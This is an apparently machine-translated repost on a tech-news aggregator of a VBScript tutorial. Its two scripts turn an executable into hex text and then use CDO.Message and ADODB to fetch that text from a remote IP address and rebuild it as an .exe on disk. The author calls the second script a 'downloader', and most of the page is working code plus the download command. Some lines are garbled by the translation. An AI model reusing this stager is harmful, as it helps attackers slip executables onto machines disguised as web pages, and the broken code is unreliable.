Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How VBS downloads files

2025-03-31 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Development >

Share

Shulou(Shulou.com)06/03 Report--

This article is about how VBS downloads files. The editor thinks it is very practical, so share it with you as a reference and follow the editor to have a look.

BLOG backup script found that CDO.MESSAGE can access the network to download things, said that research may be used as a downloader.

So I studied it for a while. Write a rough DEMO.

Exe2vbs written by exe2hex.vbs / / xiaolu. I modified it to drag and drop directly and converted it to hexadecimal.

=

The code is as follows:

'code by xiaolu

'change by NetPatch

On error resume next

Set arg=wscript.arguments

If arg.count=0 then wscript.quit

Do while 1

Fname=arg (0)

Err.number=0

Set Ado = CreateObject ("adodb.stream")

With Ado

.Type = 1

.open

.loadfromfile fname

Ss = .read

End With

If err.number0 then

If msgbox ("File opening error!", 1, "File2VBS") = 2 then Wscript.quit

Else

Exit do

End if

Loop

If fname= "" then Wscript.quit

Set Fso=CreateObject ("Scripting.FileSystemObject")

Set File=fso.OpenTextFile (arg (0) & ".htm", 2, True)

File.write Bin2Str (ss)

File.close

Set fso=nothing

Ado.close

Set Abo=nothing

Function Bin2Str (Re)

For I = 1 To lenB (Re)

Bt = AscB (MidB (Re, I, 1))

If bt < 16 Then Bin2Str=Bin2Str& "0"

Bin2Str=Bin2Str & Hex (bt)

Next

End Function

= =

Downloader down.vbs

=

[code]

On error resume next

Set arg=wscript.arguments

If arg.count=0 then wscript.quit

'code by NetPatch

'cscript down.vbs http://122.136.32.55/demo.htm c:\ good.exe

Set Mail1 = CreateObject ("CDO.Message")

Mail1.CreateMHTMLBody arg (0), 31

Ss= Mail1.HTMLBody

Set Mail1 = Nothing

Set RS=CreateObject ("ADODB.Recordset")

L=Len (ss) / 2

RS.Fields.Append "m", 205m L

RS.Open:RS.AddNew

RS ("m") = ss&ChrB (0)

RS.Update

Ss=RS ("m") .GetChunk (L)

Set s=CreateObject ("ADODB.Stream")

With s

.Mode = 3

.Type = 1

.Open ()

.Write ss

.SaveToFile arg (1), 2

End with

= =

Obtained after transferring demo.htm content from exe2hex.vbs to EXE

How to use it:

1.exe2hex.vbs converts exe to hexadecimal and puts it on the network.

2.down.vbs http://xxx/demo.htm c:\ good.exe

Thank you for reading! This is the end of this article on "how to download VBS files". I hope the above content can be of some help to you, so that you can learn more knowledge. if you think the article is good, you can share it out for more people to see!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Development

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report